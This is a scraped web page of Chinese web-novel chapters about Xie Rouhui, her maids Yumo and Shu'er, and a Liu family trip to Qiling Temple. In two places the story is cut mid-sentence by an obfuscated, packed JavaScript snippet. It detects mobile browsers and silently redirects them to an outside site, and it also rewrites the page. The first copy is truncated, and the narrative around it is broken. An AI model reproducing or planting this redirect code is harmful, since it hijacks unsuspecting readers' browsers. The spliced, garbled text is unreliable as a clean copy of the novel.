岂料玉茉正在心烦意乱时,听到这些话,胸口中堆积的怨气一下子就被点燃了,口不择言道:“你说的倒是轻松!真是事不关己高高挂起,若今日的人换成了你,你也能这么想得开吗?” 其实话一脱口玉茉便后悔了。 梳儿也不是能言善辩的,睁大泪眼,嘴唇一个劲地哆嗦,在玉茉开口前便猛地冲了出去。 过了许久也不见梳儿回来。 玉茉有些慌了,自觉不该殃及无辜,正想出去寻找梳儿时正巧谢柔徽回来了。 有这件事牵绊,玉茉竟一时未想得起来自己的“正事”,焦急万分地和谢柔徽商量出去寻找梳儿。 两人才一出门,那小道上正走来几人,领头的两名丫鬟笑脸相迎,向谢柔徽福了福身,谢柔徽认出这两位似是柳奕昌的下人,却也无法摆出什么好脸色,生硬地点了点头。 玉茉如临大敌,慌乱道:“你们是来带我走的吗?不是说好最迟晚上过去吗!” 两名丫鬟笑了笑,各自向两边退了一步,让出了背后的瘦弱的影子。 “梳儿?!”玉茉走过去将两人身后的梳儿拉出,“你去哪了?” 梳儿被泪水洗刷过的脸蛋红红的,紧咬着发白的唇瓣不说话,一副我见犹怜的细弱模样,任人看去,怎能不心生疑惑? 察觉到谢柔徽和玉茉不太友善的目光,丫鬟急忙撇清干系,“别误会,并无人欺辱梳儿姑娘,梳儿姑娘是自己走到二房去的。” 玉茉大吃一惊:“梳儿,你去找二公子了?” 梳儿的眼泪一直没停过,点了点头。 丫鬟添油加醋道:“梳儿姑娘一来就说要见二公子,奴婢们还以为她有什么急事,谁知道刚把人领过去,她直接就跪在我们公子面前,嘴里颠三倒四地说些胡话……” 玉茉追问:“说什么了?” 她拿袖子掩着嘴讥讽地笑,“梳儿姑娘竟然去自荐枕席了,她说她哪里比玉茉差了,让二公子改变心意不妨收用了她,哎哟!好一个咬人的狗不叫,真是没瞧出来,脸皮厚得,啧啧,可惜啊,二公子看不上她,命奴婢们将她完璧归赵,千万别闹出误会来。” 感受到身边人震惊的眼神,梳儿恨不得将脑袋扎到地里去。 那样瘦瘦小小的身体,单薄得好像能被风吹散似的。 玉茉盯着她的双眼中沁出泪水,然后缓缓伸出双臂,将还在低声道歉的梳儿牢牢抱在怀里,“你好傻,梳儿,你为何要这么做?我知道你对二公子无意的,你是为了我对不对?你真傻,为了我去牺牲自己。” 两名丫鬟本存着看热闹的心思,见两人没撕破脸皮打起来,反而抱成一团,哭成一团,顿时撇嘴道:“真是两个怪人。” 她们与谢柔徽打过招呼后便走了。 谢柔徽一时百感交集。 梳儿素来内敛胆小,竟为了救玉茉,在情急之下想出了以一换一。 是啊,梳儿人微言轻,自然也没别的法子,一个小小的丫鬟,用最傻也最真诚的方法来救玉茉。 谢柔徽内心感受到极大的震撼。 就在不久之前,她还为了那无用的尊严而与柳显章交恶,浪费了那难得的良机。 玉茉和梳儿,她都要保住! 谢柔徽不等说明原因便匆匆走出枕竹居。 不就是与宋瑛道歉吗? 只要柳显章需要,她可以说一千句、一万句。 她不需要那不值钱的自尊,无论宋瑛再怎么诋毁她,她都可以视若无睹。 只要能保住那两个真心待她的小丫鬟。 她带着十成的决心重新冲了回去。 珠帘清脆地回击,拍在她的后脑上。 柳显章盘着左腿坐在软榻上,右脚垂下,踏脚厚实黑沉,踩着一只莹白如玉的脚,脚背上浅浅浮动着青色血管。 看到谢柔徽,他有些意外,兴许没想到这个倔强的小姑娘能去而复返,他站起来顺势捋了下袍摆,将双脚遮住,平静地望向谢柔徽。 他在等着谢柔徽先开口。 谢柔徽在原地站了一会儿,指尖使劲掐掌心,逼着自己将腰弯下去,向对方深深鞠躬, “对不起,我刚才太任性了。” 柳显章侧眸看着她紧紧握住的拳头,和微微颤抖的乌黑发顶,微不可察地叹了口气,指着另一个座位,“先坐下吧。” 在谢柔徽坐下后,他用很平淡的口吻道:“宋瑛的手臂没什么大碍,方才已经回去了。” 谢柔徽五味杂陈地低着头,“我不该咬他,也不该对显章哥哥那样说话,我错了,等他下次来,我向他亲口道歉。” 不该咬他……却未说其他。 显然她心里是很不服气的,只是碍于形势才暂时屈从。 沉默了会儿后,她悄悄抬眼,“显章哥哥可愿原谅我的粗莽?” 等来上茶点和瓜果的丫鬟退下,门轻轻掩住。 柳显章方开口道:“我知你心里怨我,我也并不想评判今日之事,对错是给平等的人去区分的,宋瑛的父亲是三品参将,母亲是员外之女,不比柳府平时走动的亲朋好打交道,只是我与宋瑛两人关系近些,而柳家和宋府是不曾往来的。” 他语气温和,不自觉吸引谢柔徽抬起头来,正视着他。 “宋瑛的母亲又一向宠溺他, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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他们这些做下人的都是贱命,被主子呼来喝去都是家常便饭,摊上那种脾气暴躁的被打得皮开肉绽也是有的。 在他看来,柳二公子点名要玉茉去伺候,那是玉茉的福分,不能有任何推脱的借口。 如今,谢柔徽竟为了一个小小的丫鬟挺身而出。 着实给了他不小的震撼,同时也让他意识到,原来还可以这样。 他对谢柔徽有了改观,也不再觉得对方来得太勤快,一来就要麻烦大公子帮忙,无意识地说了些由衷的夸赞。 柳显章察觉他语气的变化,微微一笑,抬头看向谢柔徽方才坐过的位置。 东纨拿起坐垫轻轻拍了拍,再放平便看不出痕迹了。 当年的他也跟谢柔徽差不多的年纪吧。 或许更小些。 那时母亲重病,父亲的行踪飘渺不定,大半时间都待在外面。 不过父亲便是在家,对他也是不怎么理睬的。 而祖母忙于生意,无暇顾及他。 他没有嫡亲的兄弟姐妹,一个人孤孤单单的,虽然身边总是围绕着很多下人,他却没有任何一个人可以去依靠。 所有的事情都需要自己去解决。 那几年就像走在迷雾中,无人为他提灯指引方向,就这么磕磕绊绊地走过了一段漫长的路。 时至今日,再度回首看去,原来那时的艰辛,放到今日都不值一提。 就像谢柔徽如今所有的烦恼,在他看来都是举手之劳。 他从来不是乐善好施的性子。 却在谢柔徽那屡次打破底线。 不怪东纨前段时间总摆出困惑的表情。 因为他在看着谢柔徽时,仿佛看到了当年的自己。 帮助她,就如同跨越时空回馈了当年的自己。 倒也有趣。 23. 第 23 章 第二日清晨柳显章起早去给祖母请安,也没待太久,一盏茶的功夫便出来了,搭了马车赶去书院。 祖孙两人到底说了什么不得而知。 只知柳显章离开后,老夫人欣慰地抹着眼泪道:“章哥儿真是懂事,了结了我一桩心事,我从前劝了他那么多回,让他试着接触家里的生意,他总是推脱没有时间,要不然就是说不感兴趣,如今终于主动与我提起了。你们去告诉泽盛,让他多提点着点自家侄子,章哥儿是个生手,没他那么周全,对了,把城西的布庄给了章哥儿去练手吧。” 老夫人的意思很明白,入仕太苦太累,她柳家的的家底雄厚,长孙实在不必走这条路。 孙儿喜欢念书,随便考取份秀才的功名也就足够了。 如今最要紧的还是督促着长孙为接手家族的生意做准备。 老夫人在兴头上,再加上柳显章那日劝言,自觉孩子们都长大了,自己作为祖母也不要太过插手他们的私人生活,便就此打住为两个孙子纳通房丫鬟的决定,且让他们自己做主就好。 但柳显章根本没打算放下学业,添了照看生意这一档子事,每日更是忙得跟陀螺一般,自然也无暇去考虑什么房中事。 而柳奕昌一听祖母竟撤手不管了,不肯作罢,直接跑到了庞氏面前吵嚷着讨要玉茉。 柳泽盛正好归来,在门外听到儿子这么大了竟还不入流地与母亲撒娇,脑门青筋直跳,踹门大怒道:“丢人显眼的玩意儿!文不成武不就,上个月我让你去打理账目,结果连个算盘都用不明白,哪来的脸要女人?整日里不知脑子里都在想些什么,就应关你半年的禁闭,何时考中秀才再将你放出来!” 庞氏急忙从中劝和,又是端茶递水,又是抚胸顺气。 可柳泽盛这日不知怎的有股无名火,越看自己儿子唯唯诺诺的窝囊样子,越是怒火中烧,抽了腰带劈头盖脸的一顿鞭打。 柳泽盛的腰带缀了宝石,有棱有角的,再加上牛皮的厚实底料,挥舞起来堪比刑具。 这一顿打挨下来,柳奕昌的屁股已肿得像个汁水饱满的烂桃子,十天半月都下不来床。 柳奕昌趴在床上疼得直抽抽。 庞氏心疼不已,劝他别再忤逆柳泽盛,来年的考试务必拿出十足的精力去应对。 再看儿子臊眉耷眼的委屈模样,庞氏为了安抚他,便做主将自己身边一位丫鬟给了他。 那丫鬟是她从娘家带来的陪嫁丫鬟,虽比柳奕昌大了十岁,可长得颇有风情,暗地里与许多小厮勾勾搭搭,早已不是什么良家妇。 可她富有心计,计划着能被柳泽盛收入床帏,一直未嫁,明面上洁身自好,做出凛然不可侵犯的模样,再加上善解人意,于是被不明真相的庞氏看中了这份踏实和不争不抢,将她指给了长子。 老子没勾搭上,竟爬上了儿子的床。 挣个名分的难度是大了些,可那丫鬟也不气馁。 在柳奕昌养伤期间,她放话要亲自照顾二公子,将长得有姿色的小丫鬟赶出房去,只留下些上了年纪的婆子帮忙。 那些时日,她事事亲为,为柳奕昌擦身换药,借着机会略微试探,便知柳奕昌还是个青瓜蛋子,根本没近过女人的身。 于是她有意无意地稍加撩拨,而柳奕昌于男女之事上本就懵懵懂懂,柳泽盛对他又向来严苛,养伤时趴在床上动不了,燥火愈加旺盛。 待他伤处刚有痊愈的迹象,便迫不及待地收用了那丫鬟。 丫鬟是个中熟手,勾得他愈发离不了自己,两人属实如胶似漆了些时日。 那柳奕昌年纪轻,不懂节制,加上那丫鬟急于求成,哄骗柳奕昌服下壮阳的药物,两人多日接连厮混。 柳奕昌再从床上翻身下来时已脚步虚浮,眼冒金光,强撑着坐车去书院,岂料才从车上下来便失去意识,晕倒时额头砸在一块石头上见了血。 小厮丫鬟们急着将柳奕昌抬回车上,快马加鞭回府。 庞氏见自己的儿子不过十几日便如同被吸干精血般,脸色青白,僵直躺在榻上一动不动,唬了一大跳,还以为自己要白发人送黑发人了,哭得肝肠寸断。 大夫按了脉,诊断二公子为气虚阳脱,肾气有损,没有生命危险,只是暂时需要戒房事,静养一段时日。 庞氏强撑着将大夫送走,回过头便处置了那放荡的丫鬟,嘱咐下人给二公子多熬煮补气养肾的饭食。 只是柳奕昌底子亏空得厉害,一时半会儿难以恢复如正常人一般。 庞氏为了瞒住柳泽盛,只声称儿子念书太过忘神,不甚跌倒摔伤了头,需要多修养。 旁人不知内情,还当真以为柳奕昌是因为太过刻苦才累倒了。 尤其是老夫人,联想到那更加繁忙的柳显章,每日这样磋磨又怎么受得了。 只是让他去休息只怕他不肯,不免有些发愁。 还是王妈妈在旁支招道:“不如让哥姐们出去玩一通,散散心,总憋在屋子里哪能不憋坏身子呢。” 老夫人一听便觉得靠谱。 就以游学的名义,再加上柳家的子孙都要去,也不怕章哥儿会拒绝。 因这群孩子年纪都不大,也不可能真天南海北地将他们放出去,只规划了行程,将途经地放在了景色美又安全的地界。 谢柔徽听说这个消息后还小小地怅惘了一番。 她其实待在枕竹居这方寸之地中早就要发霉了,真的好想坐车出去玩。 不过她也只敢心里发个牢骚。 她明白的很,这种好事是绝对与自己没关系的。 她也没抱希望能参与,老实在枕竹居当个透明人,和玉茉、梳儿两人过好小日子。 可谁知去领绸布的玉茉竟然带回来一个好消息。 谢柔徽也能跟着大家一起外出游学! 玉茉兴高采烈道:“据说老夫人起初没想让您去,还是大公子帮衬着说了一句,老夫人便改变主意了。” 这一刻的柳显章简直如天神降临,总能在她需要的时候雪中送炭。 谢柔徽又惊又喜,张罗着去收拾行李。 可玉茉却告诉她,行程太久,老夫人也不想太高调,便有意缩减不必要的人员,所以谢柔徽只能带一名丫鬟同行。 玉茉拍了拍梳儿的肩膀,勉为其难地叹口气,“梳儿你不是没出过远门吗,这个大好的机会呢就算我让给你好啦!” 梳儿拼命摇头,“不……不,我手脚太笨,只怕伺候不好小姐,还是玉茉姐姐去吧。” 两个人互相推让起来没完没了,还是谢柔徽提议掷骰子。 玉茉将骰子一丢,骰子滴溜溜转了几下定在桌面上,三点。 玉茉道:“若你的点数与我一样或者大于我,都算你赢。” 梳儿拿起骰子,将其合在掌心里晃了晃,小心翼翼地扔出去,谁知道力气没控制好,那骰子直接滚到了地上。 两个人一同趴在地上捡。 找了好一会儿,玉茉在桌子底下发现了那两点的骰子。 梳儿笑道:“这是天意,上天都决定让玉茉姐姐去呢。” 玉茉摇头,“你这运气是差了些,我这么小的点数,你居然也能输,罢了,等我回来给你仔细讲讲路上的趣闻。” 梳儿虽然输了也不难过,带着笑与玉茉一同收拾东西。 玉茉有些激动,收拾好了后坐在床沿上,安静没多会儿又跳起来让梳儿替她理一理有没有落下的东西。 出发当天,玉茉特意换了身颜色鲜亮的衣裳,嘴上稍稍涂抹了些胭脂,面色红润,站在春光下,显得应景。 玉茉挎着小包袱跟在谢柔徽身后,小声道:“小姐咱们乘哪辆马车?” 谢柔徽将视线投过去,恰好撞见柳娥娇震惊的眼神。 柳娥娇似是没想到她也能跟着同去,有心过来质问,但送行的老夫人和庞氏都在,她也不敢造次,愤恨地撩开轿帘,却顿了顿,回首望了她一眼,抿嘴一笑,透着轻蔑与警告,然后低头钻了进去。 谢柔徽立刻打消了上车的心思,转过头寻找其他机会。 这次却又看到了正与庞氏拉着手告别的柳奕昌。 她听说柳奕昌前阵子一直待在府内养病,原本粗壮的身材确实瘦了一大圈,脸色虚白,眼下却有两团抹不开的浓墨。 柳奕昌察觉她的视线,侧视盯着她看,被她狠狠一瞪,反而阴恻恻地笑了。 谢柔徽不知到底哪里变了,只觉他整个人说不出的古怪,特别是眼神,极其浑浊,那笑容沾染了某种令人不适的侵袭感。 谢柔徽侧身避开他的眼神。 车队前列是一辆石青色的马车,规格最高,小厮正在马车旁搬运行李。 因柳显章喜静,老夫人特地让他单独乘坐一辆马车。 即使那马车的外表看起来足够乘坐七八个人。 谢柔徽在心中腹诽,自己因车队要缩减人手所以只能带一名丫鬟。 而柳显章却能享受这种殊荣,真是羡煞旁人。 但很快,她就开始感谢老夫人这个英明的决定。 因为她发现她根本无处可去。 环视一圈后,除却柳娥娇和柳如施的黛色马车,柳奕昌的靛色马车,柳显章的石青色马车,就剩几辆拉运杂物和两辆下人们乘坐的车。 根本没有人为她安排单独的马车。 她也不可能和那些护卫一般去骑马。 她搓了搓脸,露出八颗牙齿 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有些点心还带着包装,肯定不是府里厨娘做的,应是东纨从铺里买回来的,味道自然没得说。 只是这数量着实可观,谢柔徽粗略一数,就有不下十匣。 她悄悄看了眼身形瘦削的柳显章,明显有些疑惑。 不过正好尝尝外面的手艺,她捡形状漂亮的糕点就着茶水吃了,竟还有些撑到了,揉了揉肚子坐下来,学着柳显章的样子,在膝盖上披了层薄毯,开始无聊地掰手指。 骏马跑动起来,虽脚下是官道,但难免有些晃动。 这频率十分催眠,不知不觉谢柔徽便睡了过去。 中途马车应是停过两次,她感受到轿帘掀开时吹拂过脸侧的凉风,困倦地没有睁眼,继续陷入沉睡。 等她醒过来时,车厢内已点了灯,车轱辘碾压在草叶碎石的细微声响有规律地响起。 她闭着眼睛慢慢清醒。 外头的风声夹杂着笑语钻进车厢。 是东纨的声音,“小姐昨夜里没歇好吧?马车这么颠簸,睡得却很香,得有两个时辰了。” 玉茉笑道:“哪里,我家小姐是适应能力强,从不择床,到了哪都吃得饱睡得香,要不然身子骨好呢,健壮得像个小牛犊子,从不生病。” 谢柔徽汗颜。 她知道玉茉是想变着法夸自己,可话说出来却怪怪的,好像自己只知道吃喝睡的小猪一样。 她故意张嘴打了个哈欠,闹出些动静。 便听到玉茉说:“我家小姐醒啦!”她似是将脑袋转向这处,声音大了三分,“小姐你饿不饿?” 醒了便要吃,这下真洗不清了。 谢柔徽沉了沉嗓子,大声道:“我不饿。” 那些糕点饱腹感极强,现在还敦实地挤在胃里,确实不怎么饿。 她看向外面。 时而飘摇的软帘外透着暗青色,天色已晚,她这一口气睡了这么久,也不知晚上还能不能睡着。 柳显章应是一直未睡,也没捧着他那一直不离手的书,肩上披着件衣裳,懒散地盘腿而坐,也不知低着头在鼓捣什么,表情认真,连耳边垂了一绺碎发也没顾得上,那乌黑的发丝就在莹润的耳垂旁轻晃。 谢柔徽有强迫症,十分想伸手替他挽上去,不过他们之间的关系还没亲密到这等地步,于是攥着手保持沉默。 借着灯火,她注意到柳显章在用长长的草叶编着什么,不一会儿功夫便初具雏形,能看出来是一匹奔跑姿态的小马。 柳显章编好后看到她一直盯着这边,便将小马放到掌心,也不知怎么操作的,修长的手指灵活起伏,那小马跟着颠动起来,就像在原地奔跑一样。 谢柔徽情不自禁笑出来。 柳显章想着她这个年纪的孩子应该喜欢这个,便将小马送给她。 谢柔徽接过来端详,只觉柳显章心灵手巧,草藤编的小马惟妙惟肖,心中一动,问道:“显章哥哥会编其它的吗?” “比如呢?” “嗯……就是普通的小狗,长这样,耳朵垂下来,憨憨的,肚子圆滚滚,尾巴像棍子特别有力。”她按照自己在现代养的那条拉布拉多比划。 柳显章安静地听,也不打断她,等她说完就从底下抻出几条草叶。 柳显章不愧是学霸,领悟能力极强,居然能靠着她抽象的描述想象出具体的模样,三下五除二将拉布拉多编出来,有七八分相似。 谢柔徽欢天喜地接过来,将小狗和小马放到一起,烛火照过,洒在桌面上细碎的光点随着她转动时而四散时而聚拢。 24. 第 24 章 第一日谢柔徽几乎都在马车上度过的,一路上颠簸,虽然也不用随时直挺挺地坐着,可这种不能脚踏实地的感觉仍然让她感到十分疲惫。 何况古代的马车再精细,减震效果比起现代的那些交通工具也是要大打折扣的。 就这么晃啊晃的,谢柔徽终于在天黑后等到了目的地。 车队停靠在了崇阳山脚下。 当地有柳家的分号,掌柜早已得到信了,垂手在此等候多时,见到破开夜雾的一长串灯笼,便迎了上来,指点着方位,将众人带到早已预备好的一处别院里。 这是一座三进的院子,说不上大,却十分雅致,应是掌柜的揣摩着柳家人的喜好布置的。 谢柔徽和玉茉同住在一间房里,关起门后也没那么多主仆规矩,奔波了一天,各自解衣梳洗。 收拾妥当后,谢柔徽仰面倒在软绵绵的床褥上,惬意地长舒了一口气。 玉茉将脏衣服放在盆里端出去,见下人们送来的热水还有富余,便提议可以泡泡脚,缓和坐车的酸胀感。 两人都是第一次出远门,一时有些兴奋,虽累却不困,并排坐在一起讨论着后几日的行程。 不知不觉到了深夜,其他房里都熄灭了烛火安静下来,两人也不再出声,渐渐睡了过去。 第二天玉茉先醒了过来,她从外间的罗汉榻上坐起来,轻手轻脚地走进卧房,隔着一道帐子唤醒谢柔徽。 玉茉早已打听好了,离这不远就有个灯市,聚集了五湖四海的摊贩,能淘到南洋来的小玩意儿,而且等到了傍晚,这里也不设宵禁,一条街挂满了花灯,亮如白昼,还有杂耍和唱戏的。 谢柔徽被她说得心动不已,吃过了早饭就急着一起出门,却正好撞见来此处找她的婆子。 得知谢柔徽想带着丫鬟去赶集,婆子撇了撇嘴,“这恐怕不行,今日已有了行程,大家要去栖灵寺祈福,这是柳府历来的规矩,再说了,出门在外不比在家逍遥任性,您一个人带着丫鬟,也没个看护的人,若在外面出了什么事回头还得我们底下人担责,近来事多,您还是别给大家伙添麻烦的好。” 玉茉气不过她的态度,吵了起来,被谢柔徽拉了拉袖角,“罢了,明日再去也是一样的,别与她一般见识。” 其实来之前她们便知道此地有个栖灵寺。 栖灵寺是千年古刹,因祈愿十分灵验,所以来求神拜佛的香客络绎不绝。 柳家老夫人还曾捐银铸了一座金佛,与栖灵寺的住持也有些交情。 只是谢柔徽对礼佛没什么兴趣,碍于柳家子孙都要去不能推脱。 栖灵寺修建在山腰,中途还需走一截栈道。 为了显示诚心,是不允许乘轿代步的。 所以众人都需带着随从一步步登梯上山。 谢柔徽特意在出发前换了便于行走的软底鞋,将碎发拢平整,戴了帷帽,才一推门,便听院中有人在摔摔打打。 “真是麻烦!明明有轿子,偏要吃苦走上去。” 她见发牢骚的正是柳娥娇,便缓步躲到柱子后。 丫鬟正为柳娥娇固定帷帽和面纱,只是柳娥娇正在气头上,十分不配合。 丫鬟一时手忙脚乱,惟帽的边缘刮到了柳娥娇的耳朵。 柳娥娇疼得缩了下脖子,劈手夺走惟帽,用力掷向丫鬟,大骂道:“你是废物不成,连个帷帽都戴不好,有多远滚多远!” “二妹何必发这么大的火,又不是只你一人步行上山,大家不都是一样吗?” 柳如施身穿素罗袖衫,如一株清丽摇曳的青莲,带着丫鬟们款款而来。 她的仪态向来保持得最佳,头上步摇稳而不晃,即使要去爬山也穿着与平日一般无二的华贵衣裳。 柳娥娇被她衣上秀丽精致的绣饰刺了眼,恰好那丫鬟被训斥后愈发手笨,许久也未系好帷帽,被她一脚踢开,大步擦着柳如施的肩膀走了出去。 柳如施被她蹭得一晃也不恼,抬手掸了掸衣裳,抬眸道:“你要在那看热闹到何时?” 谢柔徽一惊,以为自己已暴露了行踪,正要走出时,却听到大门处传来声音。 “原来你早看到我了。”柳奕昌从门后绕出。 他方才听到柳娥娇与柳如施在院中针锋相对,有意避开,便躲在了门后观望,这下被柳如施毫不客气地当场点破,一时有些羞窘。 柳如施轻抬眼帘,视线划过他满是红血丝的眼底,笑了笑,“二哥也需有所节制,昨晚拽着两个小丫鬟在房里闹了半宿,又是叫水又是要酒,小心别误了正事。” 柳奕昌揉了揉脸,宿醉的滋味显然不好受,只含糊道:“那是自然,那是自然。” 待两人先后上了游廊,谢柔徽这才从柱子后走出,回想着方才那一幕,只觉气氛微妙。 她选择向在柳府待了许多年的“前辈”取经,“他们三人一直这样相处吗?” 玉茉早已不将谢柔徽当作外人,贴着肩膀咬耳朵,“一直都这样,二奶奶宠溺二公子,对如施小姐难免有慢待,如施小姐的性子其实很敏感,再加上二公子的德行实在有些拿不出手,如施小姐是不敬服这个兄长的。” “至于如施小姐和娥娇小姐,那更是势如水火,娥娇小姐的亲娘虽是妾室,可府里的人都知晓,二爷偏爱妾室冷落正室,娥娇小姐也就随着水涨船高,这些年也有意与如施小姐争锋,可如施小姐那么高傲的人怎么能容忍妾室之女与自己平起平坐,所以两个人就这么互相阴阳怪气的。” 谢柔徽默默记下,恰好说话这功夫儿那几人也走远,不怕与她们撞个正着,她也就带着玉茉出发。 不过她似是将爬山一事看得太轻松。 待到山下仰望云雾中缥缈的屋檐,顿时大呼“救命!” 她和玉茉都疏于锻炼,爬得艰辛无比。 咻咻牛喘的玉茉自己走得歪七扭八,还不忘伸手搀她。 两个人互搭着肩膀,在看到一块巨大的花岗岩上刻着“栖灵寺”三字后,都有种喜极而泣的感觉。 谢柔徽不懂祈福的流程,问玉茉可需要做什么准备,要不要提前买几炷香。 玉茉摆手,“您什么都不用准备,拿好一样东西就行。” 她掏出钱袋子,哗啦啦地摇晃。 谢柔徽抱着怀疑的态度走进寺门,迎客的小沙弥眉清目秀,听到两人身份后,换了一副甜得吓死人的笑脸,将她们带到大堂。 需先请三支香,一支香一两银子。 待谢柔徽祈福上香后,小沙弥指着蒲团,教谢柔徽跪拜姿势才最虔诚。 谢柔徽按着他的话五体投地,再抬起头时,便看到那小沙弥不知何时站在了功德箱旁。 “不管多少,只讲究心诚则灵,佛祖不会怪罪的。” 玉茉从钱袋里掏出碎银,小沙弥的眉毛皱得能夹死苍蝇。 谢柔徽向玉茉使了个眼色,玉茉将碎银换成数值更大的银票。 小沙弥立即喜笑颜开,随着银票塞入,向两人双手合十,而后又转而介绍起来本寺最为灵验的护身符。 “此符由住持亲自加持过,佩戴在身上,可护佑小姐不被邪祟近身,也可保亲人平安。” 小沙弥将护身符吹得天花乱坠,最后说了价格。 一个护身符十两。 谢柔徽的嘴角抖了抖,小沙弥笑道:“柳府那两位小姐刚走不久,各请了十个护身符,想必这位小小姐的诚意也不亚于那两人。” 谢柔徽才不吃激将法,她哪里比得上那两人富裕,掏钱买了三份。 足足三十两银子,她接过护身符时,脸上在笑,心中却在滴血。 还好颜镜棠离开前私下给她不少贴补,再加上月例,也不至于倾家荡产。 谢柔徽将护身符放入怀里,想着既然千辛万苦地爬上来了,不如到处逛逛。 栖灵寺依山偎谷,大多景致未经人工雕琢,反倒有种返璞归真的魅力。 两人散步到了后院,见门前来往香客不减反而有愈加增多的趋势,便好奇地钻入了人群。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16906017|190869||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只见空地上长着一棵苍天大树,就靠着汲取石缝中的营养,也不知经过多少年,养得树身粗壮,需五六人合抱。 寺里的僧人有意将此树装扮过,将树干缠绕红色绸带。 有人觉得吉利,就将许愿牌挂在树上。 谢柔徽看到时,树的枝丫上已缀满了牌子,随风而动。 谢柔徽一见便来了兴趣,交了钱去摇签筒,见掉了一支上上大吉的签文,马不停蹄地去写许愿牌,也要挂到树上。 据说挂得越高就越灵验。 谢柔徽瞄准了头顶上方一株树枝,只是她踮起脚尖还差得多。 玉茉自告奋勇,抱住她的腿将她努力举高。 谢柔徽伸长手臂,指尖抵着牌子的底端,摇摇晃晃的就是系不住,正心急时,眼前突然横出一只手,就这么抢走了她的许愿牌。 “写的什么让我瞧瞧?” “愿佛祖护佑远在临安的娘亲四季安康,吉祥顺遂。” “就这个吗?看你一脸认真,还以为求了什么了不得的东西。” 谢柔徽愤怒侧首,正与宋瑛对视,他单手叉腰,一只手正攥着她的许愿牌。 “你——!” 谢柔徽猛然想起上次对柳显章的承诺,忍气吞声让玉茉将自己放下来,低声道:“宋公子,请将牌子还给我好吗?” 宋瑛低眸看她,奇怪道:“怎么像霜打的茄子,上次不还硬气得很?” 谢柔徽道:“上次是我不对,我不应对宋公子失礼,更不应咬伤宋公子。” 宋瑛一听这个就来气,撸起袖子将手臂凑到她面前,“你是属狗的吗?你瞧瞧,我这现在还有一道牙印,藏了好几天还是被我娘瞧见了,非问我怎么搞得,我能怎么回答?只能说自己无聊咬的,我娘还以为我失心疯了,给我请了好几个郎中诊病。” 谢柔徽噗嗤笑出声,见宋瑛面露不满,忙收回笑容,鞠躬道歉:“请宋公子宽恕我的鲁莽之举,您大人有大量,别与我一般见识。” 为了表示真心悔过,她还分出一份护身符递过去,“这是我的歉礼。” “算了,我也没当回事,与个小姑娘斗气说出去像什么样子。”宋瑛没接她的护身符,“你应该过得很拮据,这玩意儿对于你来说挺贵的,自己收着吧。你的事,柳显章都与我说了,是我错怪你了……” 他抬起手臂,轻而易举地将牌子系在谢柔徽心仪的树枝上。 “宋瑛哥哥!你怎么也在这?” 不远处传来少女响亮的嗓音。 谢柔徽心道不好,拉着玉茉就要退开。 柳娥娇速度很快,转眼就飞奔到几人面前,笑道:“宋瑛哥哥也在许愿吗?听说这棵树很灵的,很多愿望都能实现。” 宋瑛道:“不是,帮别人挂许愿牌而已。” “谁?”柳娥娇的跟着宋瑛的视线移到另一旁,正看到谢柔徽离去的背影,面色大变,“帮她?!” 随后而来的柳如施则沉稳得多,与宋瑛福了福,“瑛哥也在?” 宋瑛道:“陪我娘一起来的,真是巧,竟遇到你们,柳显章他人呢?” 柳娥娇咬牙没说话,柳如施淡淡地瞥了她一眼,回答道:“大哥与二哥去栖灵寺住持那持诵,恐怕要晚些时间。” 宋瑛摆手,“罢了,我不等他。”与柳如施问了他们的住处后便离开。 柳如施望着宋瑛走出院门,回首看向柳娥娇,“你是怎么回事?我知你走着上山有不满,可这与瑛哥无关,你怎么好与瑛哥摆脸色。” 柳娥娇气冲冲道:“我才不是对宋瑛哥哥生气,你看这个!”她指挥丫鬟们将挂在树枝上的一个许愿牌取下。 柳如施大声制止道:“你住手,瑛哥才挂上的。” 柳娥娇冷笑连连,“这根本不是宋瑛哥哥的许愿牌,他是替那个小贱货挂的!” 她将牌子扔到地上,正面朝上。 柳如施一愣,目光细细扫视那字迹,再度抬起头时恢复了平静,面无表情地踩过那牌子。 25. 第 25 章 柳家人本也是为了去栖灵寺祈福而来,在山脚下停留了不过五六日便又再度启程。 这些天里,谢柔徽和玉茉几乎逛遍了周边,每日抱着买来的零嘴和点心溜达,肚子吃得滚圆,正餐时则一点也吃不下了。 出发当天,柳显章为她单独安排了一辆马车。 毕竟男女有别,两人同乘还是多有不便。 其实谢柔徽早就看出来了,什么为缩减队伍规模、低调出行,都是刘管事诳她的。 这些天里,柳如施和柳娥娇两姐妹哪个出入不是动辄一群丫鬟跟随? 光她们专门负责装行礼和杂物的马车就有两三辆。 这样的差别待遇,明眼人都能看出来。 不过是老太太当初虽同意她能同行,却没又对她有额外的安排。 底下人干活自然是多一事不如少一事,心知她不受重视,便这么敷衍着。 还是柳显章发话,才给她又单独匀了一辆马车。 谢柔徽和玉茉缩在私密性更强的车厢中,说话不必忌讳,姿势不必端庄,这份舒心和闲适自然不能同日而语。 这一路上,虽说是游学,却只是吃吃喝喝,也未再强制她们去什么寺庙道观。 最后一程进入了一处草原。 谢柔徽撩起软帘,轻轻吸了一口气。 草屑味混合着丝丝缕缕的旷野凉风钻入鼻腔。 谢柔徽一时忘了身处何处,情不自禁将半边身子探出了窗子。 柳家亲随纵马而来,莫名其妙地看着她,“小姐可有吩咐?” 玉茉听到后回头看去,发现自己只是烹茶的功夫,小姐竟然要跳出窗子了,大惊失色地将谢柔徽搂抱回来。 谢柔徽躺在玉茉的怀里,神思还回旋在方才所感受到的那种自由之感。 车队陆续驶入高大墙垣内,谢柔徽想起方才似是看到了有人把守,便对玉茉问了起来。 玉茉早在出发前打听好了。 